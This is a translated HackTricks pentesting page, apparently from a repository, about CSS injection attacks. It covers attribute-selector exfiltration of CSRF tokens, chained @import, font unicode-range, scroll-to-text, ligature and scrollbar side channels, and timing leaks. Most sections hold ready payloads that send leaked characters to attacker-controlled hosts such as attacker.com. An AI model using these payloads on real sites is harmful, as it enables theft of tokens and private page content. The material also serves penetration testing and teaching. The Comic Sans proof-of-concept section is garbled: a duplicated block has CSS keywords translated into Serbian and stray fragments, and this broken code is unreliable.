hacktricks/pentesting-web/xs-search/css-injection
2024-03-09 13:18:06 +00:00
..
css-injection-code.md Translated ['README.md', 'forensics/basic-forensic-methodology/partition 2024-03-09 13:18:06 +00:00
README.md Translated to Serbian 2024-02-10 13:11:20 +00:00

CSS Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

CSS Injection

Selektor atributa

CSS selektori se prave da bi se poklapali sa vrednostima atributa name i value elementa input. Ako vrednost atributa value elementa input počinje određenim karakterom, učitava se unapred definisani spoljni resurs:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Međutim, ovaj pristup ima ograničenje prilikom rada sa skrivenim input elementima (type="hidden") jer skriveni elementi ne učitavaju pozadine.

Zaobilaženje za skrivene elemente

Da biste zaobišli ovo ograničenje, možete ciljati sledeći susedni element koristeći ~ kombinator za opšte susede. CSS pravilo se primenjuje na sve susede koji slede nakon skrivenog input elementa, što dovodi do učitavanja pozadinske slike:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Praktičan primer iskorišćavanja ove tehnike detaljno je opisan u priloženom kodu. Možete ga pogledati ovde.

Pretpostavke za CSS ubacivanje

Da bi tehnika CSS ubacivanja bila efikasna, moraju se ispuniti određeni uslovi:

  1. Dužina Payload-a: Vektor CSS ubacivanja mora podržavati dovoljno dugačke payload-e kako bi se mogli smestiti izrađeni selektori.
  2. Ponovno vrednovanje CSS-a: Trebali biste imati mogućnost okvira stranice, što je neophodno da bi se pokrenulo ponovno vrednovanje CSS-a sa novo generisanim payload-ima.
  3. Spoljni resursi: Tehnika pretpostavlja mogućnost korišćenja slika sa spoljnih servera. Ovo može biti ograničeno politikom bezbednosti sadržaja (CSP) sajta.

Slepi selektor atributa

Kao što je objašnjeno u ovom postu, moguće je kombinovati selektore :has i :not kako bi se identifikovao sadržaj čak i iz slepih elemenata. Ovo je veoma korisno kada nemate pojma šta se nalazi unutar veb stranice koja učitava CSS ubacivanje.
Takođe je moguće koristiti ove selektore kako bi se izvukle informacije iz nekoliko blokova istog tipa, kao što je:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Kombinujući ovo sa sledećom tehnikom @import, moguće je eksfiltrirati mnogo informacija koristeći CSS ubacivanje sa slepim stranicama pomoću blind-css-exfiltration.

@import

Prethodna tehnika ima neke nedostatke, proverite preduslove. Morate ili biti u mogućnosti da pošaljete više linkova žrtvi, ili morate biti u mogućnosti da ubacite CSS na ranjivu stranicu putem iframe-a.

Međutim, postoji još jedna pametna tehnika koja koristi CSS @import da bi poboljšala kvalitet tehnike.

Ovo je prvi put pokazao Pepe Vila i radi na sledeći način:

Umesto da učitavamo istu stranicu iznova i iznova sa desetinama različitih payloada svaki put (kao u prethodnoj tehnici), mi ćemo učitati stranicu samo jednom i samo sa importom na server napadača (ovo je payload koji se šalje žrtvi):

@import url('//attacker.com:5001/start?');
  1. Uvoz će primiti neki CSS skript od napadača i pregledač će ga učitati.
  2. Prvi deo CSS skripta koji će napadač poslati je još jedan @import ka serveru napadača.
  3. Server napadača neće odmah odgovoriti na ovaj zahtev, jer želimo da procurimo neke karaktere, a zatim odgovorimo na ovaj uvoz sa payloadom kako bismo procurili sledeće.
  4. Drugi i veći deo payloada će biti payload za curenje selektora atributa.
  5. Ovo će poslati serveru napadača prvi karakter tajne i poslednji karakter.
  6. Kada server napadača primi prvi i poslednji karakter tajne, odgovoriće na uvoz koji je zatražen u koraku 2.
  7. Odgovor će biti tačno isti kao koraci 2, 3 i 4, ali ovaj put će pokušati pronaći drugi karakter tajne, a zatim predposlednji.

Napadač će ponavljati ovu petlju dok ne uspe potpuno da procuri tajnu.

Originalni kod Pepe Vile za iskorišćavanje ovoga možete pronaći ovde ili možete pronaći skoro isti kod, ali komentiran ovde.

{% hint style="info" %} Skripta će pokušati da otkrije 2 karaktera svaki put (sa početka i sa kraja), jer selektor atributa omogućava stvari poput:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Ovo omogućava skriptu da brže otkrije tajnu. {% endhint %}

{% hint style="warning" %} Ponekad skripta neće tačno prepoznati da je pronađeni prefiks + sufiks već kompletan flag i nastaviće napred (u prefiksu) i nazad (u sufiksu) i u nekom trenutku će se zaglaviti.
Nema brige, samo proverite izlaz jer tamo možete videti flag. {% endhint %}

Ostali selektori

Drugi načini pristupa delovima DOM-a pomoću CSS selektora:

  • .class-to-search:nth-child(2): Ovo će pronaći drugu stavku sa klasom "class-to-search" u DOM-u.
  • :empty selektor: Koristi se na primer u ovom writeup-u:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

XS-Search zasnovan na greškama

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Opšti cilj je koristiti prilagođeni font sa kontrolisane tačke i osigurati da se tekst (u ovom slučaju, 'A') prikaže samo sa ovim fontom ako određeni resurs (favicon.ico) ne može da se učita.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Korišćenje prilagođenog fonta:
  • Prilagođeni font se definiše korišćenjem pravila @font-face unutar <style> oznake u <head> sekciji.
  • Font se naziva poc i preuzima se sa spoljnog izvora (http://attacker.com/?leak).
  • Svojstvo unicode-range je postavljeno na U+0041, ciljajući specifičan Unicode karakter 'A'.
  1. Element objekta sa rezervnim tekstom:
  • U <body> sekciji se kreira <object> element sa id="poc0". Ovaj element pokušava da učita resurs sa adrese http://192.168.0.1/favicon.ico.
  • font-family za ovaj element je postavljen na 'poc', kako je definisano u <style> sekciji.
  • Ako resurs (favicon.ico) ne može da se učita, rezervni sadržaj (slovo 'A') unutar <object> oznake će biti prikazan.
  • Rezervni sadržaj ('A') će biti prikazan koristeći prilagođeni font poc ako se spoljni resurs ne može učitati.

Stilizacija fragmenta teksta za skrolovanje

:target pseudo-klasa se koristi za selektovanje elementa koji je cilj nekog URL fragmenta, kako je navedeno u CSS Selectors Level 4 specifikaciji. Važno je razumeti da ::target-text ne odgovara nijednom elementu osim ako tekst nije eksplicitno cilj fragmenta.

Postoji bezbednosna zabrinutost kada napadači iskorišćavaju mogućnost skrolovanja do teksta fragmenta, što im omogućava da potvrde prisustvo određenog teksta na veb stranici učitavanjem resursa sa svojeg servera putem HTML injekcije. Metoda uključuje ubacivanje CSS pravila kao što je ovo:

:target::before { content : url(target.png) }

U takvim scenarijima, ako se tekst "Administrator" nalazi na stranici, sa servera se zahteva resurs target.png, što ukazuje na prisustvo teksta. Primer ovog napada može se izvršiti putem posebno kreiranog URL-a koji ugrađuje ubačeni CSS zajedno sa fragmentom Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Evo, napad manipuliše HTML ubacivanjem kako bi preneo CSS kod, ciljajući određeni tekst "Administrator" putem Scroll-to-text fragmenta (#:~:text=Administrator). Ako se tekst pronađe, učitava se naznačeni resurs, nenamerno signalizirajući njegovo prisustvo napadaču.

Za ublažavanje, treba obratiti pažnju na sledeće tačke:

  1. Ograničeno podudaranje STTF: Scroll-to-text Fragment (STTF) je dizajniran da se podudara samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost da otkrije proizvoljne tajne ili tokene.
  2. Ograničenje na vrhunske pregledačke kontekste: STTF funkcioniše samo u vrhunskim pregledačkim kontekstima i ne funkcioniše unutar iframe-ova, što čini svaki pokušaj iskorišćavanja primetnijim korisniku.
  3. Potreba za aktivacijom korisnika: STTF zahteva gest aktivacije korisnika da bi radio, što znači da su iskorišćavanja izvodljiva samo putem navigacija koje korisnik pokreće. Ovaj zahtev značajno umanjuje rizik od automatizovanih napada bez interakcije korisnika. Ipak, autor blog posta ukazuje na određene uslove i zaobilaznice (npr. socijalno inženjerstvo, interakcija sa popularnim ekstenzijama pregledača) koje mogu olakšati automatizaciju napada.

Svest o ovim mehanizmima i potencijalnim ranjivostima ključna je za održavanje bezbednosti veb stranica i zaštite od takvih iskorišćavačkih taktika.

Za više informacija pogledajte originalni izveštaj: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Možete proveriti eksploit koji koristi ovu tehniku za CTF ovde.

@font-face / unicode-range

Možete specificirati spoljne fontove za određene Unicode vrednosti koje će biti prikupljene samo ako su te Unicode vrednosti prisutne na stranici. Na primer:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Kada pristupite ovoj stranici, Chrome i Firefox dohvaćaju "?A" i "?B" jer tekstni čvor osjetljivih informacija sadrži znakove "A" i "B". Ali Chrome i Firefox ne dohvaćaju "?C" jer ne sadrži "C". To znači da smo uspjeli pročitati "A" i "B".

Izvlačenje teksta iz čvora (I): ligature

Reference: Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

Opisana tehnika uključuje izvlačenje teksta iz čvora iskorištavanjem ligatura fonta i praćenjem promjena u širini. Postupak uključuje nekoliko koraka:

  1. Stvaranje prilagođenih fontova:
  • SVG fontovi se izrađuju s glifovima koji imaju atribut horiz-adv-x, koji postavlja veliku širinu za glif koji predstavlja dvoslovni niz.
  • Primjer SVG glifa: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, gdje "XY" označava dvoslovni niz.
  • Ti fontovi se zatim pretvaraju u woff format pomoću fontforge.
  1. Otkrivanje promjena u širini:
  • CSS se koristi kako bi se osiguralo da se tekst ne prelomi (white-space: nowrap) i kako bi se prilagodio stil trake za pomicanje.
  • Pojava vodoravne trake za pomicanje, stilizirane na poseban način, djeluje kao indikator (orakl) da je određena ligatura, a time i određeni niz znakova, prisutan u tekstu.
  • Uključeni CSS:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Proces iskorištavanja:
  • Korak 1: Stvaraju se fontovi za parove znakova s velikom širinom.
  • Korak 2: Koristi se trik s trakom za pomicanje kako bi se otkrilo kada je prikazan glif velike širine (ligatura za par znakova), što ukazuje na prisutnost niza znakova.
  • Korak 3: Nakon otkrivanja ligature, generiraju se novi glifovi koji predstavljaju nizove od tri znaka, uključujući otkriveni par i dodavanje prethodnog ili sljedećeg znaka.
  • Korak 4: Provodi se otkrivanje ligature od tri znaka.
  • Korak 5: Postupak se ponavlja, postupno otkrivajući cijeli tekst.
  1. Optimizacija:
  • Trenutna metoda inicijalizacije pomoću <meta refresh=... nije optimalna.
  • Učinkovitiji pristup mogao bi uključivati trik s CSS @import, poboljšavajući performanse iskorištavanja.

Izvlačenje teksta iz čvora (II): procurivanje skupa znakova s zadanim fontom (bez potrebe za vanjskim resursima)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

Ovaj trik je objavljen u ovoj Slackers thread. Skup znakova koji se koristi u čvoru teksta može procuriti korištenjem zadanih fontova instaliranih u pregledniku: nisu potrebni vanjski - ili prilagođeni - fontovi.

Koncept se temelji na korištenju animacije za postupno povećanje širine div-a, omogućavajući da se jedan znak u svakom trenutku prelazi iz "sufiksa" dijela teksta u "prefiks" dio. Ovaj postupak efektivno dijeli tekst na dva dijela:

  1. Prefiks: Početni redak.
  2. Sufiks: Naknadni redak(i).

Prijelazne faze znakova izgledale bi ovako:

C
ADB

CA
DB

CAD
B

CADB

Tijekom ovog prijelaza koristi se trik s unicode-range kako bi se identificirao svaki novi znak dok se pridružuje prefiksu. To se postiže prebacivanjem fonta na Comic Sans, koji je primjetno viši od zadanih fontova, što posljedično pokreće okomitu traku za pomicanje. Pojava ove trake za pomicanje neizravno otkriva prisutnost novog znaka u prefiksu.

Iako ovaj način omogućuje otkrivanje jedinstvenih znakova kako se pojavljuju, ne specificira koji se znak ponavlja, samo da se ponavljanje dogodilo.

{% hint style="info" %} U osnovi, unicode-range se koristi za otkrivanje znaka, ali budući da ne želimo učitavati vanjski font, moramo pronaći drugi način.
Kada se znak pronađe, dodjeljuje mu se prethodno instalirani Comic Sans font, što čini znak većim i pokreće traku za pomicanje koja će procijediti pronađeni znak. {% endhint %}

Provjerite kod izdvojen iz PoC-a:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
5% { širina: 120px }
6% { širina: 140px }
7% { širina: 0px }
}

div::-webkit-scrollbar {
background: plava;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: plava var(--leak);
}

Eksfiltracija teksta čvora (III): otkrivanje skupa znakova pomoću podrazumevanog fonta sakrivanjem elemenata (ne zahteva spoljne resurse)

Reference: Ovo je pomenuto kao neuspešno rešenje u ovom članku

Ovaj slučaj je veoma sličan prethodnom, međutim, u ovom slučaju cilj je da se određeni znakovi učine većim od drugih kako bi se nešto sakrilo, poput dugmeta koje bot ne sme da pritisne ili slike koja se neće učitati. Na taj način možemo izmeriti akciju (ili nedostatak akcije) i saznati da li se određeni znak nalazi unutar teksta.

Eksfiltracija teksta čvora (III): otkrivanje skupa znakova putem vremena keširanja (ne zahteva spoljne resurse)

Reference: Ovo je pomenuto kao neuspešno rešenje u ovom članku

U ovom slučaju, možemo pokušati da otkrijemo da li se određeni znak nalazi u tekstu učitavanjem lažnog fonta sa istog izvora:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Ako postoji podudaranje, font će se učitati sa /static/bootstrap.min.css?q=1. Iako se neće uspešno učitati, pregledač bi ga trebao keširati, i čak i ako nema keša, postoji mehanizam 304 not modified, tako da bi odgovor trebao biti brži od ostalih stvari.

Međutim, ako vremenska razlika između keširanog odgovora i neke koji nije keširan nije dovoljno velika, ovo neće biti korisno. Na primer, autor je pomenuo: Međutim, nakon testiranja, primetio sam da je prvi problem to što brzina nije mnogo drugačija, a drugi problem je što bot koristi zastavicu disk-cache-size=1, što je zaista pažljivo.

Eksfiltracija teksta čvora (III): otkrivanje skupa znakova merenjem vremena učitavanja stotina lokalnih "fontova" (bez potrebe za spoljnim resursima)

Reference: Ovo je pomenuto kao neuspešno rešenje u ovom članku

U ovom slučaju možete navesti CSS da učita stotine lažnih fontova sa istog izvora kada se desi podudaranje. Na taj način možete meriti vreme koje je potrebno i saznati da li se pojavljuje određeni znak ili nešto slično:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

I kod bota izgleda ovako:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Dakle, ako font ne odgovara, očekuje se da će vreme odgovora prilikom posete botu biti otprilike 30 sekundi. Međutim, ako postoji podudaranje fonta, biće poslato više zahteva za dobijanje fonta, što će izazvati kontinuiranu aktivnost na mreži. Kao rezultat toga, trebaće više vremena da se zadovolji uslov zaustavljanja i primi odgovor. Stoga, vreme odgovora može se koristiti kao indikator za određivanje da li postoji podudaranje fonta.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: